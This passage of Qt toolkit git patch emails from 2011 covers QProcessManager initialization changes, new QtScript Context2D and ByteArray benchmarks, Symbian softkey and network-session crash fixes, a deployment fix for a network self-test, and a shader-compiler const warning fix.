+ return &processManager; } QProcessManager::QProcessManager() { - // can only be called from main thread - Q_ASSERT(!qApp || qApp->thread() == QThread::currentThread()); - #if defined (QPROCESS_DEBUG) qDebug() << "QProcessManager::QProcessManager()"; #endif @@ -208,8 +198,6 @@ QProcessManager::QProcessManager() ::sigaction(SIGCHLD, &action, &oldAction); if (oldAction.sa_handler != qt_sa_sigchld_handler) qt_sa_old_sigchld_handler = oldAction.sa_handler; - - processManagerInstance = this; } QProcessManager::~QProcessManager() @@ -238,8 +226,6 @@ QProcessManager::~QProcessManager() if (oldAction.sa_handler != qt_sa_sigchld_handler) { ::sigaction(SIGCHLD, &oldAction, 0); } - - processManagerInstance = 0; } void QProcessManager::run() @@ -1306,15 +1292,7 @@ bool QProcessPrivate::startDetached(const QString &program, const QStringList &a void QProcessPrivate::initializeProcessManager() { - if (qApp && qApp->thread() != QThread::currentThread()) { - // The process manager must be initialized in the main thread - // Note: The call below will re-enter this function, but in the right thread, - // so the else statement below will be executed. - QMetaObject::invokeMethod(qApp, "_q_initializeProcessManager", Qt::BlockingQueuedConnection); - } else { - static QProcessManager processManager; - Q_UNUSED(processManager); - } + (void) processManager(); } QT_END_NAMESPACE diff --git a/src/corelib/kernel/qcoreapplication.cpp b/src/corelib/kernel/qcoreapplication.cpp index 9bd32d1..26a398e 100644 --- a/src/corelib/kernel/qcoreapplication.cpp +++ b/src/corelib/kernel/qcoreapplication.cpp @@ -392,16 +392,6 @@ void QCoreApplicationPrivate::createEventDispatcher() #endif } -void QCoreApplicationPrivate::_q_initializeProcessManager() -{ -#ifndef QT_NO_PROCESS -# ifdef Q_OS_UNIX - QProcessPrivate::initializeProcessManager(); -# endif -#endif -} - - QThread *QCoreApplicationPrivate::theMainThread = 0; QThread *QCoreApplicationPrivate::mainThread() { @@ -666,6 +656,12 @@ void QCoreApplication::init() } #endif +#if defined(Q_OS_UNIX) && !(defined(QT_NO_PROCESS)) + // Make sure the process manager thread object is created in the main + // thread. + QProcessPrivate::initializeProcessManager(); +#endif + #ifdef QT_EVAL extern void qt_core_eval_init(uint); qt_core_eval_init(d->application_type); @@ -2732,5 +2728,3 @@ int QCoreApplication::loopLevel() */ QT_END_NAMESPACE - -#include "moc_qcoreapplication.cpp" diff --git a/src/corelib/kernel/qcoreapplication.h b/src/corelib/kernel/qcoreapplication.h index 024c509..3957158 100644 --- a/src/corelib/kernel/qcoreapplication.h +++ b/src/corelib/kernel/qcoreapplication.h @@ -205,7 +205,6 @@ protected: QCoreApplication(QCoreApplicationPrivate &p); private: - Q_PRIVATE_SLOT(d_func(), void _q_initializeProcessManager()) static bool sendSpontaneousEvent(QObject *receiver, QEvent *event); bool notifyInternal(QObject *receiver, QEvent *event); diff --git a/src/corelib/kernel/qcoreapplication_p.h b/src/corelib/kernel/qcoreapplication_p.h index fdceab4..add2a35 100644 --- a/src/corelib/kernel/qcoreapplication_p.h +++ b/src/corelib/kernel/qcoreapplication_p.h @@ -85,8 +85,6 @@ public: bool sendThroughObjectEventFilters(QObject *, QEvent *); bool notify_helper(QObject *, QEvent *); - void _q_initializeProcessManager(); - virtual QString appName() const; virtual void createEventDispatcher(); static void removePostedEvent(QEvent *); -- cgit v0.12 From 6163c36249eea0a2a578b9990470fcaa2f7bcf5f Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Thu, 3 Feb 2011 15:48:02 +0100 Subject: Add Context2D QtScript benchmark Reuse the Context2D implementation from examples/script/context2d and create a benchmark out of it. This benchmark actually measures a meaningful, real-world use case. Task-number: QTBUG-17192 Reviewed-by: Jedrzej Nowacki --- examples/script/context2d/environment.cpp | 17 ++ examples/script/context2d/environment.h | 2 + tests/benchmarks/script/context2d/context2d.pro | 22 +++ .../benchmarks/script/context2d/tst_context2d.cpp | 177 +++++++++++++++++++++ tests/benchmarks/script/script.pro | 3 +- 5 files changed, 220 insertions(+), 1 deletion(-) create mode 100644 tests/benchmarks/script/context2d/context2d.pro create mode 100644 tests/benchmarks/script/context2d/tst_context2d.cpp diff --git a/examples/script/context2d/environment.cpp b/examples/script/context2d/environment.cpp index 7d6d6f8..e68c1ca 100644 --- a/examples/script/context2d/environment.cpp +++ b/examples/script/context2d/environment.cpp @@ -363,6 +363,23 @@ QScriptValue Environment::evaluate(const QString &code, const QString &fileName) return m_engine->evaluate(code, fileName); } +bool Environment::hasIntervalTimers() const +{ + return !m_intervalHash.isEmpty(); +} + +// This is used by the Context2D QtScript benchmark. +void Environment::triggerTimers() +{ + for (int x = 0; x < 2; ++x) { + QList timerIds = x ? m_intervalHash.keys() : m_timeoutHash.keys(); + for (int i = 0; i < timerIds.size(); ++i) { + QTimerEvent fakeEvent(timerIds.at(i)); + timerEvent(&fakeEvent); + } + } +} + //! [2] QScriptValue Environment::toWrapper(QObject *object) { diff --git a/examples/script/context2d/environment.h b/examples/script/context2d/environment.h index dd92e85..221875f 100644 --- a/examples/script/context2d/environment.h +++ b/examples/script/context2d/environment.h @@ -78,6 +78,8 @@ public: //! [0] QScriptEngine *engine() const; + bool hasIntervalTimers() const; + void triggerTimers(); //! [1] public slots: diff --git a/tests/benchmarks/script/context2d/context2d.pro b/tests/benchmarks/script/context2d/context2d.pro new file mode 100644 index 0000000..bc94c4f --- /dev/null +++ b/tests/benchmarks/script/context2d/context2d.pro @@ -0,0 +1,22 @@ +load(qttest_p4) +TEMPLATE = app +TARGET = tst_bench_context2d + +SOURCES += tst_context2d.cpp + +CONTEXT2D_EXAMPLE_DIR = $$QT_SOURCE_TREE/examples/script/context2d +INCLUDEPATH += $$CONTEXT2D_EXAMPLE_DIR + +HEADERS += $$CONTEXT2D_EXAMPLE_DIR/qcontext2dcanvas.h \ + $$CONTEXT2D_EXAMPLE_DIR/context2d.h \ + $$CONTEXT2D_EXAMPLE_DIR/domimage.h \ + $$CONTEXT2D_EXAMPLE_DIR/environment.h + +SOURCES += $$CONTEXT2D_EXAMPLE_DIR/qcontext2dcanvas.cpp \ + $$CONTEXT2D_EXAMPLE_DIR/context2d.cpp \ + $$CONTEXT2D_EXAMPLE_DIR/domimage.cpp \ + $$CONTEXT2D_EXAMPLE_DIR/environment.cpp + +RESOURCES += $$CONTEXT2D_EXAMPLE_DIR/context2d.qrc + +QT += script diff --git a/tests/benchmarks/script/context2d/tst_context2d.cpp b/tests/benchmarks/script/context2d/tst_context2d.cpp new file mode 100644 index 0000000..8401590 --- /dev/null +++ b/tests/benchmarks/script/context2d/tst_context2d.cpp @@ -0,0 +1,177 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include +#include +#include +#include +#include "context2d.h" +#include "environment.h" +#include "qcontext2dcanvas.h" + +static QString readFile(const QString &filename) +{ + QFile file(filename); + if (!file.open(QFile::ReadOnly)) + return QString(); + QTextStream stream(&file); + stream.setCodec("UTF-8"); + return stream.readAll(); +} + +class tst_Context2D : public QObject +{ + Q_OBJECT + +public: + tst_Context2D(); + ~tst_Context2D(); + +private slots: + void singleExecution_data(); + void singleExecution(); + void repeatedExecution_data(); + void repeatedExecution(); + +private: + void newEnvironment(); + +private: + QDir testsDir; + Environment *m_env; + QContext2DCanvas *m_canvas; +}; + +tst_Context2D::tst_Context2D() + : m_env(0), m_canvas(0) +{ + testsDir = QDir(":/scripts"); + if (!testsDir.exists()) + qWarning("*** no scripts/ dir!"); +} + +tst_Context2D::~tst_Context2D() +{ + delete m_canvas; + delete m_env; +} + +void tst_Context2D::newEnvironment() +{ + delete m_canvas; + delete m_env; + m_env = new Environment(); + Context2D *context = new Context2D(m_env); + context->setSize(150, 150); // Hard-coded in many of the scripts. + m_canvas = new QContext2DCanvas(context, m_env); + m_canvas->setFixedSize(context->size()); + m_canvas->setObjectName("tutorial"); // Acts as the DOM element ID. + m_env->addCanvas(m_canvas); +} + +void tst_Context2D::singleExecution_data() +{ + QTest::addColumn("testName"); + QFileInfoList testFileInfos = testsDir.entryInfoList(QStringList() << "*.js", QDir::Files); + foreach (QFileInfo tfi, testFileInfos) { + QString name = tfi.baseName(); + QTest::newRow(name.toLatin1().constData()) << name; + } +} + +void tst_Context2D::singleExecution() +{ + QFETCH(QString, testName); + QString script = readFile(testsDir.absoluteFilePath(testName + ".js")); + QVERIFY(!script.isEmpty()); + + newEnvironment(); + QBENCHMARK { + m_env->evaluate(script, testName); + // Some of the scripts (e.g. plasma.js) merely start a timer and do + // the actual drawing in the timer event. Trigger the timers now to + // ensure that the real work is done. + m_env->triggerTimers(); + } + QVERIFY(!m_env->engine()->hasUncaughtException()); +} + +void tst_Context2D::repeatedExecution_data() +{ + // We look for scripts that register an interval timer. + // Such scripts run a function every n milliseconds to update the canvas. + // The benchmark will execute this function repeatedly, which can allow + // us to observe potential effects of profiling-based JIT optimizations. + QTest::addColumn("testName"); + QTest::addColumn("script"); + QFileInfoList testFileInfos = testsDir.entryInfoList(QStringList() << "*.js", QDir::Files); + foreach (QFileInfo tfi, testFileInfos) { + QString script = readFile(tfi.absoluteFilePath()); + QString name = tfi.baseName(); + newEnvironment(); + m_env->evaluate(script, name); + if (m_env->engine()->hasUncaughtException()) + continue; + if (m_env->hasIntervalTimers()) + QTest::newRow(name.toLatin1().constData()) << name << script; + } +} + +void tst_Context2D::repeatedExecution() +{ + QFETCH(QString, testName); + QFETCH(QString, script); + + newEnvironment(); + m_env->evaluate(script, testName); + QBENCHMARK { + // Trigger the update function repeatedly, effectively + // performing several frames of animation. + for (int i = 0; i < 16; ++i) + m_env->triggerTimers(); + } + QVERIFY(!m_env->engine()->hasUncaughtException()); +} + +QTEST_MAIN(tst_Context2D) +#include "tst_context2d.moc" diff --git a/tests/benchmarks/script/script.pro b/tests/benchmarks/script/script.pro index b0770ca..da7a5a1 100644 --- a/tests/benchmarks/script/script.pro +++ b/tests/benchmarks/script/script.pro @@ -1,5 +1,6 @@ TEMPLATE = subdirs SUBDIRS = \ + context2d \ qscriptclass \ qscriptengine \ qscriptvalue \ @@ -13,4 +14,4 @@ TRUSTED_BENCHMARKS += \ qscriptvalue \ qscriptengine -include(../trusted-benchmarks.pri) \ No newline at end of file +include(../trusted-benchmarks.pri) -- cgit v0.12 From b0c109ff2479dd8f4474b6c5ad537168224a5dc4 Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Fri, 4 Feb 2011 09:39:10 +0100 Subject: Add QScriptClass/ByteArray benchmark Reuse the ByteArray implementation from examples/script/customclass and create a benchmark out of it. This benchmark actually measures a meaningful, real-world use case for QScriptClass. Task-number: QTBUG-17192 Reviewed-by: Jedrzej Nowacki --- .../qscriptclass_bytearray.pro | 10 ++ .../qscriptclass_bytearray.qrc | 5 + .../qscriptclass_bytearray/tests/construct-copy.js | 3 + .../qscriptclass_bytearray/tests/construct.js | 2 + .../script/qscriptclass_bytearray/tests/for-in.js | 3 + .../qscriptclass_bytearray/tests/get-element.js | 3 + .../qscriptclass_bytearray/tests/get-length.js | 3 + .../script/qscriptclass_bytearray/tests/mid.js | 3 + .../qscriptclass_bytearray/tests/set-element.js | 3 + .../qscriptclass_bytearray/tests/set-length.js | 3 + .../script/qscriptclass_bytearray/tests/sum.js | 8 ++ .../script/qscriptclass_bytearray/tests/trimmed.js | 3 + .../tst_qscriptclass_bytearray.cpp | 109 +++++++++++++++++++++ tests/benchmarks/script/script.pro | 1 + 14 files changed, 159 insertions(+) create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js create mode 100644 tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp diff --git a/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro new file mode 100644 index 0000000..d64f705 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.pro @@ -0,0 +1,10 @@ +load(qttest_p4) +TEMPLATE = app +TARGET = tst_bench_qscriptclass_bytearray + +SOURCES += tst_qscriptclass_bytearray.cpp +RESOURCES += qscriptclass_bytearray.qrc + +include($$QT_SOURCE_TREE/examples/script/customclass/bytearrayclass.pri) + +QT = core script diff --git a/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc new file mode 100644 index 0000000..a894ee5 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/qscriptclass_bytearray.qrc @@ -0,0 +1,5 @@ + + + tests + + diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js new file mode 100644 index 0000000..9c03871 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct-copy.js @@ -0,0 +1,3 @@ +ba = new ByteArray(123); +for (i = 0; i < 5000; ++i) + new ByteArray(ba); diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js new file mode 100644 index 0000000..2c2bbf5 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/construct.js @@ -0,0 +1,2 @@ +for (i = 0; i < 5000; ++i) + new ByteArray(123); diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js new file mode 100644 index 0000000..46bc9f3 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/for-in.js @@ -0,0 +1,3 @@ +ba = new ByteArray(8000); +for (var p in ba) + ; diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js new file mode 100644 index 0000000..9f6a503 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-element.js @@ -0,0 +1,3 @@ +ba = new ByteArray(123); +for (i = 0; i < 10000; ++i) + ba[10]; diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js new file mode 100644 index 0000000..5de2f58 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/get-length.js @@ -0,0 +1,3 @@ +ba = new ByteArray(123); +for (i = 0; i < 10000; ++i) + ba.length; diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js new file mode 100644 index 0000000..752d875 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/mid.js @@ -0,0 +1,3 @@ +ba = new ByteArray(123); +for (i = 0; i < 3000; ++i) + ba.mid(50); diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js new file mode 100644 index 0000000..4883765 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-element.js @@ -0,0 +1,3 @@ +ba = new ByteArray(123); +for (i = 0; i < 10000; ++i) + ba[10] = 123; diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js new file mode 100644 index 0000000..18c9f59 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/set-length.js @@ -0,0 +1,3 @@ +ba = new ByteArray(); +for (i = 0; i < 10000; ++i) + ba.length = 123; diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js new file mode 100644 index 0000000..096937d --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/sum.js @@ -0,0 +1,8 @@ +function sum(ba) { + var result = 0; + for (var i = 0; i < ba.length; ++i) + result += ba[i]; + return result; +} + +sum(new ByteArray(10000)); diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js b/tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js new file mode 100644 index 0000000..967dba6 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tests/trimmed.js @@ -0,0 +1,3 @@ +ba = new ByteArray(123); +for (i = 0; i < 3000; ++i) + ba.trimmed(); diff --git a/tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp b/tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp new file mode 100644 index 0000000..351adc8 --- /dev/null +++ b/tests/benchmarks/script/qscriptclass_bytearray/tst_qscriptclass_bytearray.cpp @@ -0,0 +1,109 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include +#include +#include +#include +#include +#include +#include "bytearrayclass.h" + +static QString readFile(const QString &filename) +{ + QFile file(filename); + if (!file.open(QFile::ReadOnly)) + return QString(); + QTextStream stream(&file); + stream.setCodec("UTF-8"); + return stream.readAll(); +} + +class tst_QScriptClass_ByteArray : public QObject +{ + Q_OBJECT + +public: + tst_QScriptClass_ByteArray(); + +private slots: + void benchmark_data(); + void benchmark(); + +private: + QDir testsDir; +}; + +tst_QScriptClass_ByteArray::tst_QScriptClass_ByteArray() +{ + testsDir = QDir(":/tests"); + if (!testsDir.exists()) + qWarning("*** no tests/ dir!"); +} + +void tst_QScriptClass_ByteArray::benchmark_data() +{ + QTest::addColumn("testName"); + QFileInfoList testFileInfos = testsDir.entryInfoList(QStringList() << "*.js", QDir::Files); + foreach (QFileInfo tfi, testFileInfos) { + QString name = tfi.baseName(); + QTest::newRow(name.toLatin1().constData()) << name; + } +} + +void tst_QScriptClass_ByteArray::benchmark() +{ + QFETCH(QString, testName); + QString testContents = readFile(testsDir.absoluteFilePath(testName + ".js")); + QVERIFY(!testContents.isEmpty()); + + QScriptEngine eng; + ByteArrayClass *baClass = new ByteArrayClass(&eng); + eng.globalObject().setProperty("ByteArray", baClass->constructor()); + + QBENCHMARK { + eng.evaluate(testContents); + } + QVERIFY(!eng.hasUncaughtException()); +} + +QTEST_MAIN(tst_QScriptClass_ByteArray) +#include "tst_qscriptclass_bytearray.moc" diff --git a/tests/benchmarks/script/script.pro b/tests/benchmarks/script/script.pro index da7a5a1..d4fc822 100644 --- a/tests/benchmarks/script/script.pro +++ b/tests/benchmarks/script/script.pro @@ -2,6 +2,7 @@ TEMPLATE = subdirs SUBDIRS = \ context2d \ qscriptclass \ + qscriptclass_bytearray \ qscriptengine \ qscriptvalue \ sunspider \ -- cgit v0.12 From 231dcfc8b6a90c3a0ab4869e0a9ab45403fd9a8c Mon Sep 17 00:00:00 2001 From: axis Date: Thu, 3 Feb 2011 15:45:00 +0100 Subject: Fixed a bug where the softkeys would leave a see-through "hole". In cases where the widget was created from the event loop instead of main(), the middle three softkeys would not get the right visibility and would leave a "hole" in the application where one could see what was beneath it. It could also be clicked, which would bring the app to the background which was really annoying. Fixed by setting the visibility manually upon creation. It should still be possible to alter the visibility of the toolbar manually after the widget creation, if someone requires that. Task: QTBUG-16578 RevBy: Gareth Stockwell AutoTest: N/A, but tested with various combinations of fullscreen, non-fullscreen and softkey visibility modes. No regressions. --- src/gui/kernel/qwidget_s60.cpp | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/src/gui/kernel/qwidget_s60.cpp b/src/gui/kernel/qwidget_s60.cpp index 8e4e99a..6af809f 100644 --- a/src/gui/kernel/qwidget_s60.cpp +++ b/src/gui/kernel/qwidget_s60.cpp @@ -54,6 +54,7 @@ #ifdef Q_WS_S60 #include +#include #include #endif @@ -508,6 +509,18 @@ void QWidgetPrivate::show_sys() Q_ASSERT(!oldCba); S60->setButtonGroupContainer(cba); + // If the creation of the first widget is delayed, for example by doing it + // inside the event loop, S60 somehow "forgets" to set the visibility of the + // toolbar (the three middle softkeys) when you flip the phone over, so we + // need to do it ourselves to avoid a "hole" in the application, even though + // Qt itself does not use the toolbar directly.. + CAknAppUi *appui = dynamic_cast(CEikonEnv::Static()->AppUi()); + if (appui) { + CAknToolbar *toolbar = appui->PopupToolbar(); + if (toolbar && !toolbar->IsVisible()) + toolbar->SetToolbarVisibility(ETrue); + } + CEikMenuBar *menuBar = new(ELeave) CEikMenuBar; menuBar->ConstructL(ui, 0, R_AVKON_MENUPANE_EMPTY); menuBar->SetMenuType(CEikMenuBar::EMenuOptions); -- cgit v0.12 From 8fe811e14b6db6a9637a5bf6d276613786291762 Mon Sep 17 00:00:00 2001 From: Shane Kearns Date: Thu, 3 Feb 2011 12:16:35 +0000 Subject: Fix random crashes when bearer suddenly goes down 1. QNetworkSession being deleted from the closed signal caused data abort or E32User-CBase 49 panics. (both observed) 2. Potential E32User-CBase 46 panic in ConnectionProgressNotifier::StartNotifications() Reviewed-by: Aaron Tunney Reviewed-By: Markus Goetz Task-Number: QTBUG-17196 --- src/network/access/qnetworkaccessmanager.cpp | 7 ++++--- src/network/bearer/qnetworksession.cpp | 3 +++ src/network/bearer/qnetworksession.h | 3 +++ src/plugins/bearer/symbian/qnetworksession_impl.cpp | 6 +++--- 4 files changed, 13 insertions(+), 6 deletions(-) diff --git a/src/network/access/qnetworkaccessmanager.cpp b/src/network/access/qnetworkaccessmanager.cpp index ea18367..5b518de 100644 --- a/src/network/access/qnetworkaccessmanager.cpp +++ b/src/network/access/qnetworkaccessmanager.cpp @@ -1369,10 +1369,11 @@ void QNetworkAccessManagerPrivate::createSession(const QNetworkConfiguration &co networkSession = QSharedNetworkSessionManager::getSession(config); - QObject::connect(networkSession.data(), SIGNAL(opened()), q, SIGNAL(networkSessionConnected())); - QObject::connect(networkSession.data(), SIGNAL(closed()), q, SLOT(_q_networkSessionClosed())); + QObject::connect(networkSession.data(), SIGNAL(opened()), q, SIGNAL(networkSessionConnected()), Qt::QueuedConnection); + //QueuedConnection is used to avoid deleting the networkSession inside its closed signal + QObject::connect(networkSession.data(), SIGNAL(closed()), q, SLOT(_q_networkSessionClosed()), Qt::QueuedConnection); QObject::connect(networkSession.data(), SIGNAL(stateChanged(QNetworkSession::State)), - q, SLOT(_q_networkSessionStateChanged(QNetworkSession::State))); + q, SLOT(_q_networkSessionStateChanged(QNetworkSession::State)), Qt::QueuedConnection); _q_networkSessionStateChanged(networkSession->state()); } diff --git a/src/network/bearer/qnetworksession.cpp b/src/network/bearer/qnetworksession.cpp index b0b7d3d..9503553 100644 --- a/src/network/bearer/qnetworksession.cpp +++ b/src/network/bearer/qnetworksession.cpp @@ -250,6 +250,9 @@ QNetworkSession::QNetworkSession(const QNetworkConfiguration& connectionConfig, break; } } + + qRegisterMetaType(); + qRegisterMetaType(); } /*! diff --git a/src/network/bearer/qnetworksession.h b/src/network/bearer/qnetworksession.h index c51cb4f..0bca4b6 100644 --- a/src/network/bearer/qnetworksession.h +++ b/src/network/bearer/qnetworksession.h @@ -139,6 +139,9 @@ private: friend class QNetworkSessionPrivate; }; +Q_DECLARE_METATYPE(QNetworkSession::State); +Q_DECLARE_METATYPE(QNetworkSession::SessionError); + #ifndef QT_MOBILITY_BEARER QT_END_NAMESPACE #else diff --git a/src/plugins/bearer/symbian/qnetworksession_impl.cpp b/src/plugins/bearer/symbian/qnetworksession_impl.cpp index 433eef6..741f8c5 100644 --- a/src/plugins/bearer/symbian/qnetworksession_impl.cpp +++ b/src/plugins/bearer/symbian/qnetworksession_impl.cpp @@ -1552,8 +1552,8 @@ void ConnectionProgressNotifier::StartNotifications() { if (!IsActive()) { SetActive(); + iConnection.ProgressNotification(iProgress, iStatus); } - iConnection.ProgressNotification(iProgress, iStatus); } void ConnectionProgressNotifier::StopNotifications() @@ -1569,10 +1569,10 @@ void ConnectionProgressNotifier::DoCancel() void ConnectionProgressNotifier::RunL() { if (iStatus == KErrNone) { - QT_TRYCATCH_LEAVING(iOwner.handleSymbianConnectionStatusChange(iProgress().iStage, iProgress().iError)); - SetActive(); iConnection.ProgressNotification(iProgress, iStatus); + // warning, this object may be deleted in the callback - do nothing after handleSymbianConnectionStatusChange + QT_TRYCATCH_LEAVING(iOwner.handleSymbianConnectionStatusChange(iProgress().iStage, iProgress().iError)); } } -- cgit v0.12 From 4cee615df52a3d984986d07e8125d3b01973f4a9 Mon Sep 17 00:00:00 2001 From: Shane Kearns Date: Fri, 4 Feb 2011 12:06:23 +0000 Subject: Fix deployment issues with networkselftest Changed deployment in the .pro file from = to += so that the default executable deployment is not removed. Also added required symbian capabilities Reviewed-by: Markus Goetz --- tests/auto/networkselftest/networkselftest.pro | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/tests/auto/networkselftest/networkselftest.pro b/tests/auto/networkselftest/networkselftest.pro index d7cb7f3..3e680d8 100644 --- a/tests/auto/networkselftest/networkselftest.pro +++ b/tests/auto/networkselftest/networkselftest.pro @@ -6,12 +6,13 @@ QT = core network wince*: { addFiles.sources = rfc3252.txt addFiles.path = . - DEPLOYMENT = addFiles + DEPLOYMENT += addFiles DEFINES += SRCDIR=\\\"\\\" } else:symbian { addFiles.sources = rfc3252.txt addFiles.path = . - DEPLOYMENT = addFiles + DEPLOYMENT += addFiles + TARGET.CAPABILITY = NetworkServices ReadUserData } else:vxworks*: { DEFINES += SRCDIR=\\\"\\\" } else { -- cgit v0.12 From 59f440ef78d310fdf18d655b2b768b6e59786fa9 Mon Sep 17 00:00:00 2001 From: hjk Date: Fri, 4 Feb 2011 13:27:55 +0100 Subject: Fix warning about deprecated conversions of string literals to char * MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Reviewed-by: Samuel Rødal --- src/opengl/qglshaderprogram.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/opengl/qglshaderprogram.cpp b/src/opengl/qglshaderprogram.cpp index 7f41339..4598bff 100644 --- a/src/opengl/qglshaderprogram.cpp +++ b/src/opengl/qglshaderprogram.cpp @@ -261,14 +261,14 @@ bool QGLShaderPrivate::compile(QGLShader *q) log = QString::fromLatin1(logbuf); QString name = q->objectName(); - char *types[] = { + const char *types[] = { "Fragment", "Vertex", "Geometry", "" }; - char *type = types[3]; + const char *type = types[3]; if (shaderType == QGLShader::Fragment) type = types[0]; else if (shaderType == QGLShader::Vertex) -- cgit v0.12 From 10c7730877d314ec4eda6728e2d66c38beff8d62 Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Fri, 4 Feb 2011 14:10:53 +0200 Subject: Implement Symbian support for enable_backup CONFIG value The enable_backup CONFIG value can be used to generate deployment for backup registration file for an application. BACKUP_REGISTRATION_FILE variable can be used to specify a custom backup registration file. Task-number: QTBUG-17214 Reviewed-by: axis --- doc/src/development/qmake-manual.qdoc | 18 ++++++++++++++++++ mkspecs/common/symbian/backup_registration.xml | 8 ++++++++ mkspecs/features/enable_backup.prf | 15 +++++++++++++++ 3 files changed, 41 insertions(+) create mode 100644 mkspecs/common/symbian/backup_registration.xml create mode 100644 mkspecs/features/enable_backup.prf diff --git a/doc/src/development/qmake-manual.qdoc 